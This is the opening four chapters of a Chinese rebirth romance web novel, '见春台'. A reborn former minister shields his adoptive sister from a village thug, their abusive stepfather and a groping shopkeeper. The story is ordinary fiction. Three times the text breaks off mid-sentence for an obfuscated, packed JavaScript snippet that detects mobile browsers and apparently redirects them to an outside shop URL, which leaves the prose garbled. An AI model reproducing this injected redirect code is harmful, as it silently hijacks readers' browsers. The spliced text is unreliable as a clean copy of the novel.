《见春台》 1. 重生 柳溪村,春三月,万物复苏,细雨朦胧,灰褐色的檐角雨珠滴落,似席卷天幕的一片轻纱。 灵堂内,素白的幔帐随风飘舞,空气中尤带着稀薄的寒意,像是细小的绣花针,直往人心底钻。 姜芸薇着一身丧服,跪坐在灵堂前,哽咽道:“娘,你放心,我一定会尽到做姐姐的责任,照顾好阿珣的。” 她的嗓音颤抖,纤瘦的肩膀微微耸动着,破碎的呜咽从喉间溢出,泪珠将落未落的坠在眼尾,一眼望去,有种柔弱又倔强的美。 季珣难得失神了一阵。 数息之前,他分明还在京城的天牢之中,被圣上派人送来的一杯毒酒断送了性命。 没想到一睁开眼睛,便回到了五年前,母亲的葬礼上。 而眼前的女子,乃是他名义上的姐姐——姜芸薇。 当年,家中发生饥荒,母亲带着他一路南下避祸,途中遇到人牙子正要将姜芸薇发卖去青楼,母亲怜她可怜,便将她买了下来养在身边,视若已出。 前世,季珣始终无法理解母亲的所作所为,在这个吃人的世道,孤儿寡母想要活下去已经非常不易了,更遑论还要带着一个拖油瓶。 因此,季珣一向不喜欢姜芸薇。 在他看来,姜芸薇胆小怯懦,蠢笨愚昧,毫无主见,浑身上下都透着股畏畏缩缩的小家子气,实在难登大雅之堂。 前世,母亲病逝后两年,他便上京赶考,一举夺魁,蟾宫折桂,成为天子近臣,在朝中风头无两。 他再也没有回过柳溪村,也将这个名义上的姐姐忘的一干二净。 直到后来,官越做越大,他的性情也越来越阴鸷,倒行逆施,残忍嗜杀,在朝中树敌颇多,最后落了个秋后处斩,不得好死的下场。 行刑前两日,狱卒突然打趣道:“你可真是好福气啊,有这么好的一个姐姐,听说她为了给你求情告御状,被打的只剩下半口气了,当真是姐弟情深啊。” 季珣这才回想起那个被他遗忘多年的姐姐。 那个在他看来蠢笨懦弱的女子,居然为了寻找他,孤身一人长途跋涉来到京城,甚至不顾性命告御状替他求情。 季珣在官场浸淫多年,见惯了朝堂中的尔虞我诈,刀光剑影,他从未想过,这个世界上居然还真有这种人,为了不相干的人竟甘愿牺牲自己的性命。 果真是又蠢又傻啊。 他垂下眼帘,眸底幽晦难辨。 “姜芸薇,原来你躲在这里,真是让爷好找。”门外蓦地传来一道浑厚的嗓音。 伴随着这话音的落下,一个身材矮小的黑瘦男子阔步走了进来。 姜芸薇蹙了蹙眉,认出了来人乃是村里出了名的地痞流氓王二。 王二父亲死的早,从小被母亲拉扯长大,他这个人好美色,在村子里没少轻薄调戏年轻姑娘,每次别人告到王二母亲那里,她非但不管教自家儿子,反而叉着腰在村口破口大骂别人是狐狸精,勾引他的宝贝儿子,一张嘴皮子利的很。 久而久之,村里的人见了他们母子,都要绕路走。 “你来做什么?”姜芸薇前几日才刚被王二言语骚扰过,此刻又瞧见他,脸色顿时白了。 “我自然是来接你回家的。”王二嬉笑着说道:“芸娘,你爹收了我娘给的聘金,已经把你卖给我当媳妇了。” 姜芸薇如遭雷劈,呆愣在了原地。 王二口中的她爹,乃是姜芸薇的继父,葛三。 葛三是个木匠,成家后没多久,媳妇就病逝了,他这些年也一直没有再娶。 直到四年前,季母带着年幼的季珣和姜芸薇两人在柳溪村安家。 葛三只远远看了季母一眼,便对她一见倾心,隔日便拎着两只山上抓的野鸡上门求娶。 在那个世道,一个女子带着两个孩子,生活的分外不易,季母为了给两个孩子一个安稳的家,便接受了葛三的求娶。 原本也算是和和美美,谁知成婚不到两月,葛三便原形毕露,成日里喝酒赌钱,每日赌输了就打人,季珣和姜芸薇两人年幼时都没少挨他的打。 “他不是我爹。”姜芸薇气红了眼眶,嗓音都有些发颤。 王二不以为意,笑眯眯的开口,“不管他是不是你爹,他如今已经将你卖给我了,你还是快些跟我回家去吧,正好你娘现在也死了,你一个弱女子无依无靠的,跟了小爷我,保管你往后吃香的喝辣的,不信你去村子里打听打听,小爷我平日里最疼女人了。” 见他越说越不像话,姜芸薇忙低声斥道:“住嘴,今日是我娘的头七之日,不准你惊扰了她。” 说完,她似乎这才想起来季珣还站在一旁,忙转头看向他,脸上勉强挤出一抹笑,宽慰道:“阿珣,你不用担心,这些事情姐姐来处理,你先回屋去看书吧,别落下了功课。” 季珣神情淡淡的看着她,既不动也不说话。 在他的印象中,姜芸薇是个性情分外软弱的人,被人欺负了只知道忍气吞声。 前世,他给季母上过香后,早早的便离开了,因此并不知晓接下来所发生的事情。 这一次,季珣选择站在原地不动,他倒要看看,她这个柔弱的姐姐,究竟要如何应对王二的纠缠? 见劝不动季珣,姜芸薇只好又将视线投向了王二,她攥紧了手指,尾音带颤,“王二,葛三他究竟给了你多少银子。” “五两银子,倘若你给我双倍,我倒是可以考虑放过你。”王二腆着脸嬉笑着说道。 五两银子,都可以抵普通人家一年的花销了,况且如今母亲去世了,弟弟又还在读书,家里正是需要用钱的时候。 姜芸薇黛眉紧蹙,眸中不可抑制地泛起了水雾,她是万万不可能跟了王二的,阿珣正在读书的年纪,再过几年便要参加科考了,她答应了母亲要照顾好他的。 倘若他非要强逼,倒不如划花了这张脸,以绝了王二的念头。 这样想着,姜芸薇闭了闭眸,似下定了什么决心般,猛的拔下鬓边的银钗子,抵在右脸颊边,“王二,我家中的情况你也知晓,我尚有幼弟要照顾,倘若你非要逼我,我便自毁了容貌,你若是愿意,便娶个丑八怪回去吧。” 这银钗乃是姜芸薇身上唯一的首饰,这是她及笄的时候,母亲送给她的,母亲是个心善的人,待她视若已出。 当年,她险些被人牙子卖去青楼,是母亲救了她,这恩情,她会记一辈子。 母亲弥留之际,紧紧握着她的手腕,眼里滚着泪珠,似有千言万语要说,最后却一句话都没交代便撒手人寰了。 姜芸薇知道母亲唯一放心不下的人便是阿珣,她一定会照顾好阿珣,报答母亲多年的养育之恩。 “芸娘,你别冲动,快放下簪子。”王二生怕她一个不小心,那张漂亮的小脸蛋当真就毁容了。 “你出去!我绝不会嫁给你的。”姜芸薇浑身都泛着哆嗦,语气却分外坚决。 王二冷笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659057|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,“那是不可能的,芸娘,你还是趁早绝了这个念头吧,我钱都给你爹了,你总不能让我做亏本的买卖吧。” 季珣目光落在姜芸薇的身上。 他这位柔弱的姐姐,嫣红唇瓣紧咬,眼睫如蝶翼般颤个不停,看的出来分外不安惧怕,恍若被狂风暴雨摧残过后的梨花,美丽而又脆弱。 真是难以想象,她瘦弱的身躯,竟能爆发出那般蓬勃的力量,孤身一人长途跋涉上京替他告御状。 不过对付王二这样的地痞无赖,自毁容貌是无用的,只怕就算她当真毁了容,王二也会强行将她带回家。 季珣突然觉得有些遗憾,前世直到临死之际,他竟然都没有再见姜芸薇一面。 不知他这位姐姐,后来究竟下场如何了?不过以圣上的脾性,她定然是难逃一死了。 季珣垂下眼帘,敛去眸中一瞬间变幻莫测的情绪,罢了,终究是欠她一条命,他这个人,素来恩怨分明,这一世,他会竭尽所能,护她平安无虞。 季珣收回思绪,上前一步,蓦地开了口,“何来的父亲?葛三早就与我娘签订了和离书,他早就不是我们的继父了。” 他的语气平缓,声线沉澈,似金石相击,清泉流淌。 顿了顿,他又不急不缓的说道:“晋刑统律例,严禁贩卖人口,轻则脊杖二十,配役一年,重则流放三千里,买卖同罪,既然葛三与我们毫无关系,他便没有资格将阿姐卖给别人。” “你!”王二没料到季珣会突然发难,一时哑口无言,他没读过书,哪里懂得这么多? 季珣不过才十四岁的年纪,身量便已经分外修长了,他生的眉眼昳丽,唇红齿白,貌若好女,然而平日里却总是沉默寡言,一副生人勿近的模样。 他今日穿着一身素白色的丧服,愈发衬的眸色乌黑,恍若深不见底的寒潭,脸色更是苍白如纸,一眼望去,竟恍若妖鬼般渗人。 王二不自觉打了个寒颤,他怎么觉得,今日的季珣,浑身上下都透着股凛冽的杀意,让人望之莫名生畏。 一个少年人,竟有这般气势。 季珣依旧语气淡淡,“你若非要强行带走阿姐,我便告到县里府衙去,你免不了吃一顿官司,再关押上好几个月。” 王二怒极,却又无可奈何,前些日子,他因为偷了东西,刚从牢里放出来,这要是又折进去,县令肯定不会轻易放过他! 偏偏季珣这小子说的不错,葛三和他娘当初确实和离了,这事情闹的村子里人尽皆知,就连村长都被请过来做见证了。 他当初下了大狱,并未亲眼所见,还是后来听娘提了一嘴,可气的是,他竟然忘记了这茬子事,从葛三手中买下了姜芸薇,这下子竹篮打水一场空,白白花了银子,却没有得到美人,实在可恶! “芸娘,我是不会就此罢手的!”葛三抛下狠话,转头愤愤离开。 姜芸薇这才松了口气,她转头笑望着季珣,“阿珣,谢谢你。” 季珣缓缓道:“都是一家人,阿姐不必客气。” 姜芸薇心中一暖。 今日的季珣,和以往大不相同。 从前,季珣总是视她这个姐姐于无物,每次见了她,都像瞧见透明人似的,而今日,他却主动出手相助。 想必是因为母亲骤然去世,季珣伤痛过度,也一下子长大懂事了不少。毕竟从今往后,她们姐弟两人便是彼此在这世上唯一的亲人了。 打断骨头连着筋。 2. 葛三 夜里,姜芸薇准备了晚饭。 两人住的这间屋子分外简陋,一间低矮破旧的砖房,墙皮早就已经脱落了,外面一个小院子,种了些红椒、青菜,狭小的正屋中一张方桌,上面摆着两碗黄澄澄的小米粥,和炒芥菜、清炒南瓜两碟小菜。 季珣淡淡扫了一眼,狭长的双眸中并无丝毫波澜。他已经许久没有吃过这种粗茶淡饭了,看来这个时候,家中比他想象中的还要更加贫困些。 “阿珣,姐姐还给你煮了个鸡蛋,快趁热吃吧。”姜芸薇从后厨走出,笑着将一个水煮蛋轻轻放在他面前的桌上。 季珣眉心轻蹙,家中贫穷,姜芸薇却将唯一的鸡蛋留给自己这个名义上的弟弟,他真不知道该说这个姐姐良善还是愚蠢。 印象中,母亲也是这般,对所有人都报有最大的善意,然而,生父抛妻弃子,继父是个只知酗酒打人的赌徒,母亲也积劳成疾,早早染病去世,这个吃人的世道,何曾对她有过半分仁慈? 心慈手软从来都是弱者才会有的情绪,倘若他也这般,恐怕早就被官场那些人啃的骨头渣都不剩了。 季珣神色很淡,看不出什么情绪,“还是阿姐吃吧。” “不用!”姜芸薇连忙拒绝道:“你还在长身子,读书又费脑子,阿姐不用的,还是你吃吧。” 熟知她性格,季珣也懒得再废话,直接将鸡蛋推至姜芸薇的面前,语气透着几分不容拒绝的强势,“这几日,操劳娘的身后事,阿姐辛苦了,多吃些补补身子。” 闻言,姜芸薇心头泛起一阵难言的感动,这还是季珣第一次如此关心自己,她眼眶灼热,一时竟不知该说些什么,好半晌,才平复了激荡的心情,手忙脚乱的接过鸡蛋,关切问道:“阿珣,这几日请假,你的课业没有落下吧?” 她的嗓音分外软糯,像是江南缠绵的风,轻柔却蕴含着难以忽视的柔情。 季珣终于抬起头望向她。 这是他第一次认真打量自己这个名义上的姐姐。 她生了一副好容貌,柳叶眉,鹅蛋脸,肌肤莹白细腻,微微笑着的时候,唇边两个浅浅的梨涡,十分温柔无害的长相,尤其是一双眼睛,瞳仁黑亮,恍若清透的琉璃,澄澈干净。 他犹如实质般的目光在她身上一寸寸逡巡,令人充满了压迫感。 瞧见季珣这样的眼神,姜芸薇心中不禁有些忐忑。 她是不是管的太宽了?这个年纪的少年,正是叛逆的时候,况且阿珣一向是个有主意的,就连季母生前,都不曾过多干涉过他。 姜芸薇有些不安的垂着脑袋,只露出一截纤长白皙的脖领,一副柔弱乖顺的模样,恍若任人宰割的羔羊。 怪不得被那么多人觊觎,美貌的人,却没有自保的法子,实在是很容易被坏人盯上。 季珣收回视线,语气淡淡,“阿姐不必担心,我自有分寸。” “那就好。”姜芸薇松了一口气,心中也放心不少。她这个弟弟,课业成绩向来都是数一数二的,她倒是不必太过操心。 待到用过饭后,季珣主动将碗洗了。 姜芸薇瞧见了越发欣慰,弟弟懂事了,如今只盼着他学业有成,能够早日金榜题名,光宗耀祖,如此,娘在天之灵也能够安息了。 * 方过酉时,天就黑了下来,姜芸薇舍不得油钱,借着窗外稀薄的月光,拿起针线做起了绣活,刚做了没一会儿,门外蓦地传来一阵叫骂声。 “开门!给老子开门!” 院子外的木门被拍得震天响。 姜芸薇悚然一惊,好半晌,才听出了来人的声音,正是继父葛三。 若是就此置之不理,想必以葛三的性子,定然不会轻易离去,况且现在夜深了,惊扰了其他乡邻也不好。 犹豫半晌后,姜芸薇握着烛灯,小心翼翼的出门探看。 她打开院子的门,借着微弱的月光,瞥清了面前站着的男人。 葛三半边身子隐在黑暗中,明暗交错间,像一座巍峨大山,充满了压迫感。 “你来做什么?”姜芸薇下意识往后退了一步,就连握着烛灯的手都在发颤,却仍是强装镇定。 “你这死丫头,真是白养你一场了。”葛三刚被王二打了一顿,这会儿心里正不痛快,便忍不住上门找茬,“你们两个败家玩意赶紧给我滚出去,这是老子的房子。” 他话音刚落下,身后蓦地传来一声冷笑,“你莫不是老糊涂了,当初母亲赚的钱,都被你拿去赌博挥霍一空,母亲帮你还清赌债的时候,你已经白纸黑字将这个房子抵押给她了。” 闻言,继父抬头看向来人。 只见季珣站在姜芸薇身后的阴影中,他的身量高,面容苍白,一双黑漆漆的眸子藏匿于幽暗灯光之下,恍如一只蛰伏的猛兽,乍一看竟有几分渗人。 葛三平日里还是有几分怵季珣的,往常他每次赌输了钱,回来便控制不住脾气,忍不住将怒火发泄在季母身上,对她拳打脚踢,季珣这小子每次都将母亲护在身后,挨打了也不吭声,一双黑黝黝的眸子冷冷的瞪着他,目光森寒阴冷,像是一条伺机而动的毒蛇,阴沉可怖。 再厉害又如何,不过是个半大少年罢了?想到这里,继父压根没将他放在眼里,“那又如何,当初我赚钱供你们吃供你们喝,现在你们还要霸占我的房子,天底下哪有这样的道理,今天你们必须给我搬出去,否则,别怪我不客气了。” 姜芸薇害怕的拽紧了袖角,却仍不忘挡在季珣的前面,恍若护崽的母鸡,“你当初好吃懒做,每日只知吃酒赌博,家里的钱早就被你花光了,若不是娘亲每日刺绣补贴家用,你怕是都早就饿死了,现在怎么还有脸说这样的话?” 若不是继父,母亲也不会日夜操劳,心力交瘁,最后染病去世,她对这个继父,心中只有无穷无尽的怨恨。 葛三愈发没将她放在眼里,指着她的鼻子毫不客气的骂道:“去去去,你这个臭丫头,不过是个捡来的野种罢了,有什么资格在这里同我大呼小叫,赶紧给我滚开。”说完,用力朝她一推。 姜芸薇没有防备,被他推得一个趔趄,整个人重心不稳,直直往后栽去。 “阿姐小心。”一双有力的臂膀蓦地托住她的腰,扶着她站稳。 姜芸薇松了口气,抬眸冲着他展颜一笑,“多谢阿珣。”她的笑容温软,恍若初夏时节绽放的一朵水莲花。 季珣难得愣了一下。 掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659058|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心柔软的触感令他浑身僵硬,恍若一片轻盈的花瓣飘落在身上,带起一阵酥麻的痒意。 季珣神色微滞,手指极轻的蜷缩了一下。 “装什么姐弟情深。”继父瞧见这一幕,不屑的嗤了一声,“那小子平日里就看不上你,你还这样护着他,这小子惯会装了,心都是黑的,也就你看不出来。” “再如何也及不上你!娘遇上你,真是倒了八辈子霉了。”说到这里,姜芸薇悲从中来,眼眶不禁红了,倘若不是遇上葛三,娘亲也不会病入膏肓,早早的去了。 “她自己命不好,怪不得别人。”葛三不以为意,“别废话了,这是我的房子,你们赶紧滚出去。” 说着,便想要强闯进去。 下一瞬,他只觉眼前一花,右眼被狠狠揍了一拳,他忍不住捂着眼睛,发出一声惨叫。 “小贱种,你居然敢打老子!”葛三怒瞪着季珣,说完,面目狰狞的朝着他扑了过去。 然而,他还没有触碰到季珣一片衣角,胸口骤然传来一阵剧痛,整个人也狼狈的摔倒在地。 “你……”葛三不可置信的看着季珣,眸中满是惊惧。 后者居高临下的望着他,眸底深处藏着化不开的墨色,如利刃一般透视人心,森寒阴冷,他手中不知何时多了一柄匕首,在夜色下泛着森寒的光,“还不走,是想等着我继续动手吗?” 葛三背脊窜起一股凉意,吓得连连往后退。 这小子今日是中了什么邪了,往日虽然也阴沉寡言,却从来不会流露出这样的神情,恍若一尊煞神。 葛三怕他疯起来真的动手,吓得转身狼狈落荒而逃。 季珣嘲弄的勾了勾唇,他转过身,正欲进屋,下一瞬,却倏地愣住了。 只见姜芸薇咬着嘴唇,正在无声落泪。 她的眼眶里蓄满了泪水,眼尾通红,像是揉碎了的桃色胭脂,身形伶仃瘦弱,站在凄清的冷月下,又恍若细雨中摇曳的桃枝,显得楚楚可怜。 娇弱的不堪一折。 季珣眸光微深,清俊的面容上难得露出几分疑惑的神情,葛三已经吓跑了,她在哭什么呢? 他从来不知道,一个人的泪水可以有这么多,这么汹涌。 “阿姐。”季珣伸出手,将一块帕子递到她的面前。 他的手生的极好,骨节分明,瘦削而修长,净白的肌肤下隐约可见淡淡的青色纹路。 姜芸薇回过神来,收住汹涌的情绪,接过帕子胡乱擦了擦眼泪,抬眸冲着季珣羞赫一笑,“让阿珣看笑话了,”顿了顿,面上又露出几分凄婉之色,“我这个做姐姐的,不仅没有保护好弟弟,反而让你为我出头,我有何颜面去见死去的母亲。” “阿姐不必自责,你一介女流,如何对付得了一个成年壮汉,这是我应该做的。”姜珣语调温和,循循安慰着她,嗓音冷沉清润。 姜芸薇哽咽着点了点头。 尚且沉浸在悲伤情绪中的她并未注意到,季珣阖着长睫,深褐色的眼眸中毫无波动,清隽的面容上神情更是一片漠然。 他这个姐姐,还是和记忆中一样怯懦爱哭,同这世间大多数平庸的人一般,如尘埃,如蝼蚁,渺小脆弱的不堪一击。 3. 陈掌柜 次日,姜芸薇一大早就起了,她打算搭牛车去镇上买些菜,再置办些东西。 刚洗漱好走出屋子,却见季珣正在伙房的灶台前煮面,锅里冒出的腾腾热气,笼罩在少年清俊的侧脸上,显得一切都充满了不真实感。 姜芸薇惊的合不拢嘴,“阿珣,你怎么这么早就起了,快放下,还是我来吧。” “不必,阿姐去外面稍等片刻,很快就好了。”季珣头也不回,语气平淡。 姜芸薇讷讷点了点头,胸腔泛起一阵涩意。 母亲去世,想必阿珣心中亦是分外痛苦,只是他却从不曾将这些表露出来,而是将一切都藏在心底,小小年纪,性子便如此沉闷寡言,想到这,姜芸薇便忍不住叹气。 很快,季珣就端着两碗面走了出来,热气腾腾的面汤上漂着翠绿的葱碎,光是看着就让人食欲大增。 姜芸薇笑着夸赞道:“我们阿珣不仅学识好,而且还这般能干,往后嫁给阿珣的女子定然十分幸福。” 幸福么? 季珣嘲弄的勾了勾嘴角。 倘若姜芸薇知道他的真面目,是否还能说得出这样的话? 前世,他身居高位后,醉心权势,残暴阴鸷,手中不知染了多少血腥,百姓皆唾骂他为把持朝政的佞臣,对他恨之入骨,趋炎附势者亦是不计其数,甚至有不少人为了讨好他,献上绝色美人,他却一个都没留下,始终未曾娶妻,后来,京中甚至还流传着他有断袖之癖的流言。 权势、名利、富贵、皆是他的囊中之物。 然而,在生命的最后一刻,他却只觉得空茫,汲汲营营,竞逐一生,到头来,却还是竹篮打水一场空,所有人都希望他死,唯有姜芸薇一个人,傻傻的替他陈冤求情。 他甚至想不明白,老天爷为何要这样捉弄他,重活一遭,又有何意义? * 待到吃过朝食后,姜芸薇从笸箩中将这些日子绣的帕子用布巾装好,打算去镇上换些银子。 她的绣活是季母教的,季母还没来柳溪村的时候便是绣娘出身,一手绣活精巧无比,姜芸薇从小便跟着姜母学习这门手艺,她的天赋很不错,对各种针法都十分擅长,也算是青出于蓝。 季母在世的时候,便曾经和镇上一家绣坊敲定了合作,每个月做些帕子团扇送去铺子,赚些零花钱补贴家用。 这些日子,操办母亲的后事把积蓄都花光了,家中用钱的地方还有很多。 姜芸薇出门前,不忘叮嘱道:“阿珣,姐一会去镇上一趟,你乖乖待在家中看书,等我中午回来做饭给你吃。” 季珣蹙了蹙眉,莫名觉得可笑,姜芸薇这语气,是把他当小孩哄了?已经许久没有人敢这样同他说话了。 他勾了勾唇,脸上神情却是看不出丝毫异样,“那阿姐早些回来。” * 柳溪村只是一个小村落,村子里共有二十几户人家,平日里,大家要置办东西都是去最近的青阳镇上。 姜芸薇赶上了最早的一趟牛车,辰时就到了镇上。 青阳镇上分外热闹,大街上人来人往,集市两旁茶楼、酒肆、肉铺、首饰铺应有尽有,叫卖声此起彼伏,烟火气息十足。 姜芸薇往常都是和季母一起来的,这还是头一遭独自来,她站在熙熙攘攘的人群之中,想起已故的季母,一时悲从心来,忍不住红了眼眶。 然而现在不是悲伤的时候,姜芸薇很快就收敛心神,快步朝着绣坊的方向走去。 锦绣阁在青阳镇诸多绣坊之中,并不算特别起眼,绕过两条巷子,才来到绣坊门口,姜芸薇之前随季母来过多次,自然是轻车熟路。 此刻店内一个客人也没有,掌柜独自坐在柜台后,正百无聊赖的转动着手中的笔杆子。 “陈掌柜。”姜芸薇走进绣坊,笑着打了个招呼。 “哟,姜姑娘啊,你可有些日子没有来了。”陈掌柜瞧见她,眸中闪过一丝意味不明的光,顿了顿,又长叹了口气,“季大娘的事情我也听说了,你可要节哀啊,好些日子不见,你瞧瞧你,都瘦了许多。” “多谢陈掌柜关心。”姜芸薇腼腆一笑,将带来的帕子摊开放在柜台上,柔声道:“陈掌柜,您看看,这都是我这些日子绣的荷包帕子。” 陈掌柜随意拿起一块帕子,摸了摸上面的刺绣,绣工精巧,帕子上的花纹更是栩栩如生,不得不承认,姜芸薇确实有一双巧手,性子也柔顺,还长了一张好脸蛋。 她还在孝中,今日穿着一身月白色素衣,脸上未施粉黛,肌肤白皙细腻,俏生生的立在那,恍若空谷幽兰般,温婉恬淡。 陈掌柜心念微动,他抬起头道:“姜姑娘,你的手艺,我自然是信得过的,你一向心灵手巧。” 姜芸薇坚持,“陈掌柜,你还是看看吧,不能在我这坏了规矩。” 陈掌柜双眸微眯,蓦地话锋一转:“姜姑娘,如今季大娘死了,你可有想过,往后的日子该怎么过?” 姜芸薇愣了愣,旋即,露出一抹有些苦涩的笑容,“我如今只盼着阿珣能够早日高中,如此,娘在天之灵也能够安息了。” “姜姑娘,你处处为季家着想,可有想过你自己?”陈掌柜叹了口气,“你是女子,又到了婚配的年龄,何苦为了那季珣白白浪费了青春,他终归不是你的亲弟弟,别平白耽误了自己的终身大事。” 姜芸薇摇了摇头,神色分外坚决,“娘对我有养育之恩,这份恩情,我这辈子都无法偿还,她虽然不是我的生母,在我心里,却一直将她当成亲生母亲看待。” “罢了,既然你心意已决,那我就不劝你了。”陈掌柜语调温和,顿了顿,他又低下头,继续翻看桌面上姜芸薇带来的绣品,“姜姑娘,那我们还是按照以前的老价,荷包五文钱一个,帕子三文钱一个,你的绣工很不错,花样画的也好,就是有些地方针法有些问题,你过来,我同你细说。” 姜芸薇不疑有他,她点了点头,几步上前。 陈掌柜一边说,一边指给她看,“你看,此处针脚有些稀疏,这个花的勾边也有些粗糙。” 姜芸薇连连点头,听得非常认真,她正欲开口请教一些针法上的问题,一双手却突然慢慢伸了过来,像水蛇一般从后背轻轻缠住她的腰。 姜芸薇浑身一僵,未说出口的话霎时卡在喉间,一股寒意顺着脊椎骨向上蔓延。 陈掌柜口中还在继续,手指却慢慢收紧,试图将人揽入怀中。 两人此刻距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659059|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠的极近,姜芸薇毛骨悚然,浑身的血液一瞬间涌到了头顶,心脏在胸腔狂跳,她猛地推开陈掌柜,“陈掌柜,我突然想起还有些事,就先走了。”说完,连帕子都顾不上拿,便转身夺门而出。 一直跑到繁华的街市上,姜芸薇这才停了下来。 耳边满是嘈杂声,她站在人群之中,躬着身大口大口的喘着气,方才发生的一切就恍若一场幻梦,她怎么都没有想到,陈掌柜居然会做出这样的事情,分明他已经娶妻生子了,她以往跟季母去绣坊的时候,还经常瞧见陈掌柜的妻子和孩子,他们一家三口,看上去是那么的幸福美满。 姜芸薇握着拳的手指紧嵌进掌心,骨节用力的泛白,许久,她才如梦初醒般反应起来,她夜以继日绣的帕子,都还在锦绣阁中,然而,她却压根没有勇气掉头回去拿。 原本还打算换了银子后,去买条鱼回家,炖鱼汤给季珣补补,如今,一切都泡汤了。 季珣还在家中等着她回去,眼看着快到晌午了,想到这里,姜芸薇咬了咬牙,又调转方向,将兜里剩下的最后的几十文钱,去菜场买了一把新鲜的青菜和小葱,又切了几块豆腐。 紧接着,姜芸薇这才急急忙忙搭牛车赶回了柳溪村。 刚推开院子门,便闻到一股饭菜的香味,姜芸薇脚下步伐一顿,眼眶莫名有些酸涩,压抑了许久的情绪终于爆发,她咬紧下唇,泪水一瞬间决堤,肩头无声耸动,喉间发出细碎哽咽。 半晌后,姜芸薇用力眨了下眼,擦了擦眼角的泪,若无其事的快步走进屋。 只见桌面上摆着两盘菜,清炒白菜、青椒炒鸡肉和两碗粟米粥,诱人的香气弥漫在空气中。 “阿姐回来了。”季珣听到动静,从屋内走了出来。 “抱歉,阿珣,我今日回来的有些晚了,说好了要给你做饭吃的。”姜芸薇语气难掩愧疚。 季珣目光落在她泛红的双眸上,眸中多了几分阴翳,“阿姐今日去镇上,可是遇到了什么不愉快?” “没有,”姜芸薇下意识的避开他的视线,摇了摇头,笑着说道:“只是路上遇到些小事耽搁了,阿珣等很久了吧,我们快吃饭吧,饭菜凉了就不好吃了。” 季珣目光微顿,没有多言。 他突然想起了一件事情。 前世差不多也是这个时间,锦绣阁陈掌柜的妻子突然闹上门来,破口大骂姜芸薇勾引她的丈夫,闹得柳溪村人尽皆知。 为此,姜芸薇消沉了很长一段时间不敢出门,直到后来,陈掌柜因为调戏良家妇女被告上衙门,大家这才知道原来姜芸薇也是受害者之一。 夜里,姜芸薇躺在床上辗转反侧,始终难以入眠。 待到季母的丧事办完后,阿珣还要继续去学堂,家中吃穿用度都需要银子,她一个人捉襟见肘倒也罢了,却不能苦了阿珣。 那笔钱毕竟不是小数目,况且,她只是去讨回自己应得的东西,想到这里,姜芸薇攥紧了拳头,在心中暗下决心,明日一定要再去一趟锦绣阁。 这一次,她选择人多的时候去,定然不会再发生昨日那样的事情。 想到这里,姜芸薇心中高悬的一口气总算松懈下来,她闭上眼,很快就陷入了睡梦之中。 4. 讨回公道 次日,姜芸薇一大早就起来了。 她先到伙房蒸了两个炊饼,又煮了两碗小米粥。 刚端上饭桌,便瞧见季珣从房间里走了出来。 她双眸一亮,笑道:“阿珣,我正要去叫你,快来用早膳吧,凉了可就不好吃了。” 她笑起来眉眼弯弯,杏眸中溢着细碎的流光,越发显得眉目娟秀动人。 遭遇了这样的事情,她竟然还能笑得出来? 还是早就已经习惯了用笑容来掩饰心目中真实的情绪?习惯了笑着讨好所有人? 季珣浸淫官场多年,见过形形色色的人,阿谀奉承者数不胜数,然而,那些人皆是因为有利可图,而姜芸薇,却是刻在骨子里的位卑和怯懦,这样性子的女子,他前世都不屑于多看一眼。 然而如今,这人却成了他的姐姐。 命运纠葛,当真毫无道理可言。 两人面对面坐着,安静的用完早膳。 季珣冷不丁抬眼问,“阿姐一会可是要出去?” 姜芸薇面上神情一滞,紧接着,若无其事的笑道:“对,我一会要去镇上一趟。” 季珣目光一错不错的盯着她,“阿姐昨日不是去过了?为何今日又要去?” 明明是清润柔和的语调,姜芸薇却莫名从中品出一丝极强的侵略性,如鹰隼锁死猎物,寸寸逼近。 “我……”姜芸薇咬着唇瓣,一时哑口无言,半晌,才干笑道:“昨日落了些东西在锦绣阁,所以今日再去一次。” 她的眼神躲闪,神情也异常局促,纤长的睫毛颤个不停。 还真是一点都不会说谎啊。 季珣心中莫名生出一丝古怪的恶意,他勾了勾唇,一脸无辜的问,“哦?阿姐忘了什么东西?” “阿珣,我……”姜芸薇很少说谎,她紧张的额上出了细汗,半天都憋不出一句话。 不知为何,面对这样的季珣,姜芸薇竟莫名觉得有些紧张和忐忑,似乎眼前此人,并不是一个普通的十四岁少年,而是身居高位的权臣,是令人可望而不可及的存在,他那双明亮的眼睛,好似能够看透她的内心。 瞧见她一副急得快要哭出来的模样,季珣叹了口气,语气缓和几分,他话锋一转,“阿姐,昨日发生了那样的事情,为何不告诉我?” 姜芸薇愣住了,下意识脱口问,“阿珣,你是怎么知道的?” 